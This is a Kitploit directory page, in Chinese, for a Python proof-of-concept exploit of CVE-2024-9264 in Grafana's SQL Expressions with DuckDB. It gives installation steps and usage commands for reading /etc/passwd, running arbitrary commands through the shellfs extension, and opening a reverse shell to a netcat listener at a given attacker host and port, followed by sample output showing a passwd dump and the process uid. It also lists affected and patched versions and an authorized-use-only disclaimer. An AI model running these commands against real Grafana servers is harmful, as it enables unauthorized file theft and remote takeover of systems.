Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-9264 — CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC | Kitploit
工具/GitHubGitHub/ozcanpng/cve-2024-9264
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制学习与教育
GitHubozcanpng/cve-2024-9264

CVE-2024-9264

CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC

查看仓库
21个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-9264 - Grafana SQL Expressions DuckDB LFI/RCE 概念验证

CVE-2024-9264 的 Python 概念验证(PoC)。该漏洞存在于 Grafana SQL Expressions 中,当 Grafana 进程的 PATH 中存在 duckdb 时,经过身份验证的攻击者可利用它进行本地文件包含和命令执行。

仅供授权测试和研究使用。请勿对你不拥有或未经明确许可的系统使用。


功能概述

root@kitploit:~
authenticated Grafana API access -> SQL Expressions DuckDB query -> file read -> optional shellfs command execution
  1. 向 Grafana 的 SQL Expressions 数据源查询端点发送经过身份验证的请求。
  2. 使用 DuckDB 的 read_blob() 读取文件。如果请求命令执行,会先使用 /etc/passwd 作为默认验证文件。
  3. 可选地加载 DuckDB shellfs,并通过基于管道(pipe)的 read_csv() 调用执行命令。
  4. 从 /tmp/cve_2024_9264_out 读取命令输出,并打印解码后的结果。

易受攻击的端点可直接通过 API 调用,无需仪表盘 UI 交互,但仍需身份验证。


截图

命令执行

命令执行证明

反弹 Shell 载荷

反弹 Shell 载荷投递

反弹 Shell 监听

反弹 Shell 监听器


环境搭建

root@kitploit:~
git clone https://github.com/ozcanpng/CVE-2024-9264.git
cd CVE-2024-9264
python3 -m pip install -r requirements.txt

用法

读取文件

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd

单独使用 --file 时,脚本会直接读取该文件,并在文件读取结果部分打印解码后的内容。

命令执行

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id

脚本会先执行一次默认的 /etc/passwd 文件读取验证,然后投递命令载荷。在结果部分会打印解码后的命令输出,而不是原始 Grafana JSON 响应。

反弹 Shell

启动监听:

root@kitploit:~
rlwrap nc -lvnp 4444

发送反弹 Shell 载荷:

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444

试运行

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run

调试

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug

选项

以下选项基于当前脚本的命令行界面(CLI):

root@kitploit:~
-u, --url, --target TARGET
                        Target URL, e.g. http://localhost:3000
--username USERNAME     Grafana username. Default: admin
--password PASSWORD     Grafana password. Default: admin
--file FILE             File path to read. Default proof path: /etc/passwd
--expected-marker MARKER
                        Marker expected in file read response. Default: root:
--cmd CMD               Command to execute through the DuckDB shellfs path
--reverse-shell         Run a bash reverse shell payload
--lhost LHOST           Listener host for --reverse-shell
--lport LPORT           Listener port for --reverse-shell
--timeout TIMEOUT       HTTP timeout in seconds. Default: 20
--verify-tls            Verify TLS certificates. Default: enabled
-k, --insecure          Disable TLS certificate verification
--dry-run               Print target and payload metadata without sending requests
--debug                 Print request debugging metadata

示例输出

读取文件

root@kitploit:~
[STEP 2] File Read Result
--------------------------------------------------------------------
[*] File path    : /etc/passwd
[*] HTTP status  : 200
[+] File content read successfully.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
grafana:x:472:0::/home/grafana:/usr/sbin/nologin

命令执行

root@kitploit:~
[STEP 4] Result
--------------------------------------------------------------------
[*] HTTP status  : 200
[+] Payload accepted by Grafana.
uid=472(grafana) gid=0(root) groups=0(root)

受影响范围

产品受影响版本所需权限影响
Grafana OSS / Enterprise已修复安全版本发布之前的 Grafana 11.0.x、11.1.x 和 11.2.xViewer 或更高权限当 DuckDB 位于 Grafana 的 PATH 中时,可导致本地文件包含和命令注入

Grafana 指出,利用此漏洞要求 Grafana 进程的 PATH 中存在 duckdb 二进制文件;正常发布的 Grafana 默认不会安装 DuckDB。


注意事项

  • 需要有效的 Grafana 凭据。
  • 账户必须具有 Viewer 或更高权限。
  • 可直接通过 API 利用并不代表无需认证;请求仍然需要有效的会话或 Basic Auth 凭据。
  • 在命令执行之前,会先使用文件读取作为第一步验证。
  • 命令执行取决于目标环境中 DuckDB 及 shellfs 扩展的行为。
  • 对于使用自签名证书的 TLS 目标,请传入 -k 或 --insecure。
  • 已修复的安全版本包括 Grafana 11.0.5+security-01、11.1.6+security-01、11.2.1+security-01、11.0.6+security-01、11.1.7+security-01 和 11.2.2+security-01。

参考链接

  • Grafana advisory - CVE-2024-9264
  • Grafana security release blog
  • NVD - CVE-2024-9264

作者

ozcanpng - github.com/ozcanpng - ozcanpng.dev

下载工具